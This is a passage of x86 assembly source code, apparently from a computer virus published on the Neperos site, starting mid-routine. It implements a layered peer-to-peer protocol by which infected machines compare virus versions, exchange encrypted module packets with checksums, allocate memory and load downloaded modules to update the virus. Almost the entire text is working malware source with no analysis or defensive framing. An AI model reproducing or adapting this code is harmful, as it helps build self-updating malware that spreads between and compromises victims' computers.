xor bx,word ptr [edi+ecx+1]
ror ebx,1
add ebx,[edi+ecx]
loop getcrcvalthat

mov ah,bh

mov al,ah
and al,0F0h
and ah,00Fh

ror al,4
add ax,'AB'

mov word ptr [edi+edx+4],ax

mov ah,bl

mov al,ah
and al,0F0h
and ah,00Fh

ror al,4
add ax,'CD'

mov word ptr [edi+edx+6],ax

popad

call channelsend

ret

checkconfirmation12:

pushad

mov edx,8
jmp chochoconf12

checkconfirmation8:

pushad

mov edx,4

chochoconf12:

push dword ptr [esi+edx+4]
mov ecx,edx

loadpointer ebx,cecuser,ly334
mov ebx,dword ptr [ebx]

getcrcvalthat1:
xor bx,word ptr [esi+ecx+1]
ror ebx,1
add ebx,[esi+ecx]
loop getcrcvalthat1

mov ah,bh

mov al,ah
and al,0F0h
and ah,00Fh

ror al,4
add ax,'AB'

ror eax,16

mov ah,bl

mov al,ah
and al,0F0h
and ah,00Fh

ror al,4
add ax,'CD'

ror eax,16

pop edx

cmp eax,edx
jne notnothing

mov eax,-1

notnothing:

sub eax,-1

popad

ret

checkoneA:

pushad

C_apicall 17357e7Ah,0 ; GetTickCount

and eax,11b

cmp eax,11b
jne dothat

loadpointer edx,ActualSet,ly3415 ; load actual set

cmp byte ptr [edx],2
jae dothat

mov byte ptr [edx],0 ; reset it

call layer3init
mov eax,-1

dothat:

sub eax,-1

popad

ret

;
; this is layer4 init
;
; direct input: Call back function each time
;
; 0: connection termination
;
; Serv 1: Intercommunication Ok, I'm server!
; Client 2: Client initialisation ok, process to data
; Serv 3: Data directory ( 4 byte of directory )
; Client 4: Download X, if none interresting apply 1
;
; then 1 switch Client to server, if the server have already processed
; a one, then
;
;

pingcounter dd 0
uploadinput db 0
onepassonly db 0

layer4init:

mov cl,'1'
call minisend

call setpingcnt
mov word ptr [edx+4],0 ; nullfify upload input
mov byte ptr [edx+5],1

ret

layer4uninit:

call setpingcnt
mov dword ptr [edx],0 ; nullfify upload input
mov word ptr [edx+4],0 ; nullfify upload input
call layer3to4uninit

call checkoneA

ret

;layer4to5uninit: ; layer 5 is independent of
; ; layer 4 as it's a
; ; continuation, then it's void!
;ret

minisend:

sub esp,1
mov edx,esp ; cl = ascii code
mov byte ptr [edx],cl ; send unique letter/number
; to the input
mov ecx,1
call directinput ; send the char

add esp,1

ret

layer4input:

call setpingcnt ; set the ping counting

cmp byte ptr [esi],'0'
jne otherthing0

call layer4uninit
ret

otherthing0:

cmp byte ptr [esi],'1'
jne otherthing

mov cl,'2'
call minisend ; is 1 detected ?

ret

otherthing:

cmp byte ptr [esi],'2' ; confirmation received ?
jne otherthing2

CSyscall getvirversion ; send the version

add eax,'0000' ; send version

mov ecx,5

sub esp,ecx
mov edx,esp
mov byte ptr [edx],'3' ; set data directory
mov dword ptr [edx+1],eax

call directinput ; then

add esp,5

ret

otherthing2:

cmp byte ptr [esi],'3' ; module directory received ?
jne otherthing3

CSyscall getvirversion

mov edx,dword ptr [esi+1]
sub edx,'0000' ; load the version directory
; normally
rol edx,8
rol eax,8

mov ecx,4

getit:

cmp dl,al ;
jbe skipgettingithigh ; if new version <= our

mov al,cl ; no, then we have what
dec al ; we are seeking for

loadpointer ecx,uploadinput,ui1
mov byte ptr [ecx], al ; set the upload input

add al,'0' ;

mov ecx,2

sub esp,ecx ; load mem from stack
mov edx,esp
mov byte ptr [edx],'4' ; ask for module with ID 4
mov byte ptr [edx+1],al

call directinput ; set it!

add esp,2

jmp finishloop

skipgettingithigh:

rol eax,8 ; load next our version
rol edx,8 ; load next remote version

loop getit

loadpointer edx,uploadinput, sgth131 ; set the upload input

cmp byte ptr [edx+1],1
jne processallokay

mov cl,'0' ; send close commumincation
call minisend

call layer4uninit

ret

processallokay:

mov byte ptr [edx+1],1

mov cl,'1'
call minisend

finishloop:

ret

otherthing3:

cmp byte ptr [esi],'4'
jne otherthing4

mov al,byte ptr [esi+1]
loadpointer edx, uploadinput,ot3

sub al,'0'
mov byte ptr [edx],al

call layer5init

ret

otherthing4:

call layer5

ret

setpingcnt:

loadpointer edx, pingcounter,ly4i
pushad
mov esi,edx
C_apicall 17357E7Ah, 0 ; GetTickCount
mov dword ptr [esi],eax
popad

ret

layer4pingdetect:

pushad

C_apicall 17357E7Ah, 0 ; GetTickCount
loadpointer edx, pingcounter,ly4i210
mov edx,[edx]

cmp edx,0
je skipthisoneone

sub eax,edx

cmp eax,25000
jb skipthisoneone

call layer4uninit

skipthisoneone:

popad

ret

;
; layer 5, packet exchanging
;
; Server 5: Packet - Checksum - Size (100 byte sec) - Datas
; Client 6: - Acknowledge - Packet
; Client 7: - Negative Acknowledge, resend
;
; Serveur 8: Packet end - Crc of the module
; Client 9: uninit layer 5
;
; Server: uninit layer5 , then reply 1
;

destbuffer dd 0

layer5init:

mov ecx,0 ; send packet ?
call sendpacket

ret

layer5:

cmp byte ptr [esi],'5' ; compare if we received
jne returnlayer5 ; packet start message

loadpointer edx,destbuffer,k1

cmp dword ptr [edx],0 ; check that the edx = 0
jne skipgetbuffer

push edx

push 4 ; PAGE_READWRITE
push 1000h
push modulesize
push 0
C_apicall 0A2F83D2Ah,0 ; VirtualAlloc

pop edx

mov dword ptr [edx],eax ; set memory allocating

skipgetbuffer:

push edx

mov ebx,dword ptr [esi+1] ; get dword at esi+1
call hex2val

mov ecx,50 ; calculate pos in buffer
xor edx,edx
mul ecx ; multiply it

pop edx
mov edx,dword ptr [edx] ; load destination buffer

lea edi,[edx+eax] ; esi equal position in the
; buffer
push esi
push edi

add esi,7

mov ecx,50 ; drop 50 characters

copythatnow:

mov ax,word ptr [esi] ; load the ascii
add esi,2

call ascii2hex ; set it to minus caracter

sub al,cl
xor al,66
inc al
rol al,cl

mov byte ptr [edi],al ; drop to buffer the caracter
inc edi

loop copythatnow ; copy all the buffer

pop edi
pop esi

mov ax,word ptr [esi+5] ; load the checksum
call ascii2hex

mov bl,al ; translate it to byte

xor eax,eax ; eax will receive the crc
mov ecx,50 ;

copythatnow2:

add al,byte ptr [edi] ; load each byte
ror al,1

inc edi
loop copythatnow2 ; dumb little checksum I know

mov ecx,dword ptr [esi+1] ; check if the crc are
; similar, if so, no prob
cmp al,bl
je noproblem99 ; if crc different, then
; resend it
sub esp,5 ; load small amount of memory
mov edx,esp ;

mov byte ptr [edx],'7' ; set resend_packet
jmp minisendit

noproblem99:

sub esp,5 ;
mov edx,esp ;

mov byte ptr [edx],'6' ; set send_next_packet

minisendit:

mov dword ptr [edx+1],ecx ; set current packet

mov ecx,5
call directinput ; send it directly

add esp,5

returnlayer5:

cmp byte ptr [esi],'6' ; check if received message
jne returnlayer6 ; is 6

mov ebx,dword ptr [esi+1] ; load send next message
call hex2val

mov ecx,eax

pushad

mov ecx,50
xor edx,edx
mul ecx ; calculate next pointer

push eax
loadpointer ecx,uploadinput,rl55 ; load current uploading
movzx ecx,byte ptr [ecx] ;

CSyscall getmodpointer ; load the module pointer

mov edx,eax ;
mov ecx,dword ptr [edx] ; load module size

add ecx,50 ; get next

pop eax ; cmp if next packet
; overrun
cmp eax,ecx
jb skipdithis

;int 3 ; yes ?

mov ecx,dword ptr [edx] ; load this packet size
sub ecx,4 ; minus 4
xor ebx,ebx ;

getthatitit:

xor ebx,dword ptr [edx] ; load byte
rol ebx,5
inc edx

loop getthatitit ; check all of it

sub esp,9
mov edx,esp

mov byte ptr [edx],'8' ; set crc check mark
inc edx

mov ecx,4

getthatitit2:

mov al,bl
call hex2ascii
mov word ptr [edx],ax ; save hex char

add edx,2
rol ebx,8

loop getthatitit2 ; print the 4 char

sub edx,9
mov ecx,9

call directinput ; send the mark-crc

add esp,9

popad
ret ; finished

skipdithis:

popad

inc ecx
call sendpacket ; send next packet

returnlayer6:

cmp byte ptr [esi],'7' ; check resend packet
jne returnlayer7

mov ebx,dword ptr [esi+1] ; load next packet
call hex2val

mov ecx,eax

call sendpacket ; send it!

ret

returnlayer7:

cmp byte ptr [esi],'8' ; check
jne returnlayer8

mov ecx,4 ;
inc esi

getlayer8:

mov ax,word ptr [esi] ; convert from buffer
call ascii2hex ; into char

add esi,2

mov bl,al
rol ebx,8

loop getlayer8 ; get the 8 bytes of the Crc

loadpointer edx,destbuffer,lc1 ; load the module in mem

mov edx,dword ptr [edx] ; save it there
mov ecx,dword ptr [edx]

sub ecx,4
xor eax,eax ; nullify eax

push edx

getthatitit5:

xor eax,dword ptr [edx] ; get the crc of the module
rol eax,5 ; in the buffer
inc edx

loop getthatitit5

pop edx

cmp eax,ebx ;
jne mindbond ; transfer error ?

; here we load it, but we be coded later, normally it's a direct flush into
; the module areas

;int 3

loadpointer edx,destbuffer,lpp273
mov esi,dword ptr [edx]

loadpointer edx,uploadinput,lpp276
movzx ecx,byte ptr [edx]

CSyscall DirectUpdateIt

mindbond:

;call layer5uninit

mov cl,'1' ; restart transfer
call minisend ; procedure

returnlayer8:

ret

sendpacket:

pushad
pushad

push 250
C_apicall 3126C0h,0

popad

sub esp, 107
mov edi,esp

push ecx

mov byte ptr [edi],'5' ; set data packet

mov eax,ecx ;
xor ebx,ebx ; nullify ebx

mov ecx,3 ; drop four char
; from the number of packet
gen_doitagain:

push ecx

xor edx,edx
mov ecx,10
div ecx ; div by 8 hexa number

mov bl,dl ; got a number between 0-9
rol ebx,8 ; and sotre it into a reg

pop ecx

loop gen_doitagain

add ebx,'0000' ; load it as number

;xchg bh,bl
;ror ebx,16
;xchg bh,bl

mov dword ptr [edi+1],ebx

loadpointer ecx,uploadinput,m56
movzx ecx,byte ptr [ecx] ; load the data to be sent

CSyscall getmodpointer ; then get the module pointer

mov esi,eax ; set is as source

xor edx,edx
mov ecx,50 ; load the offset from this

pop eax

mul ecx ;

add esi,eax

add edi,5 ; set the destination to
; checksum mark
mov ecx,50
xor eax,eax

push ecx
push esi

gethatmo:

add al,byte ptr [esi] ; make checksum of unencrypted
ror al,1 ; bytes

inc esi

loop gethatmo ; do everything

call hex2ascii

pop esi
pop ecx

mov word ptr [edi],ax ; save the checksum
add edi,2

getthatma:

mov al,byte ptr [esi] ; load the byte

ror al,cl ; encrypt it
dec al ; ror al,cl is cool
xor al,66 ; can make quite boring
add al,cl
; to understand cryptation
call hex2ascii

mov word ptr [edi],ax ; drop the hex of the byte
add edi,2

inc esi
loop getthatma ; perform the 50 bytes

mov ecx,107 ; set how much byte to send

mov edx,edi
sub edx,ecx

call directinput ; send them

add esp,107

popad

ret

hex2ascii:

mov ah,al
and al,0F0h ; load 1st
ror al,4
call getitnow55 ; convert 1 - 16 to ascii
and ah,0Fh ; load 2nd
xchg ah,al
call getitnow55 ;
xchg ah,al ; reverse to be put on mem

ret

getitnow55:

cmp al,9
ja setitdigit

add al,'0'-'A'+9+1 ; for digit

setitdigit:

add al,'A'-9-1 ; for bytes
ret

ascii2hex:

call getitnow56 ; transform from the byte
xchg ah,al
call getitnow56 ; to normal

ror ah,4
add al,ah

ret

getitnow56:

sub al,'0'

cmp al,9 ; a number ?
ja dontskipit
ret ; finish

dontskipit:

sub al,'A'-'0'-9-1 ; a word ?
ret

hex2val: ;

xor eax,eax
mov ecx,4

getthatnowit:

push ecx

sub bl,'0' ; load this value

mov ecx,10
xor edx,edx
mul ecx ;

push ebx
movzx ebx,bl ; load byte
add eax,ebx ; add it
pop ebx

ror ebx,8 ; load next ebx

pop ecx

loop getthatnowit ; do that 4 times,

ret ; MAX = 500000 bytes

;include prorec\prosere.asm

CSyscall0: db 68h
CommodSyscall: dd offset RoutineHandler
ret

CommodEnd:

skiploading:

end start

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT